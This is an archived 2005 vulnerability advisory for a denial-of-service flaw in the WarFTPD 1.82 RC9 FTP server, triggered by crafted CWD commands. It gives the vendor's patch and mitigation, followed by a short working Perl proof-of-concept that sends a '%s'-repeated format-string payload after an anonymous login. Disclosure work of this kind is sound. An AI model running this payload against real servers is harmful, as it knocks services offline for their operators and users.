WarFTPD 1.82 RC9 DoS

2005-01-28T00:00:00
ID SECURITYVULNS:DOC:7704
Type securityvulns
Reporter Securityvulns
Modified 2005-01-28T00:00:00

Description

Hello,

due to an access violation, specialy crafted CWD-Commands will exit the FTP server when running as a NT service. User needs to be logged on.

Vendor's report can be found at http://support.jgaa.com/index.php?cmd=ShowReport&ID=02643

Solution: deny anonymous or untrusted logins or use patched version.

Updated Version can be found at http://support.jgaa.com/index.php?cmd=ShowProduct&ID=3

PoC Exploit

<snip>

!/usr/bin/perl -w

remote DoS PoC Exploit for WarFTPD 1.82 RC9

THX 2 barabas 4 his GoldenFTP-sploit :)

greetings fly out to Foobar

use strict; use Net::FTP; my $payload="%s"x115;

my $ftp = Net::FTP->new("127.0.0.1", Debug => 1); $ftp->login("anonymous","123@123.com"); $ftp->quot("CWD",$payload);

</snip>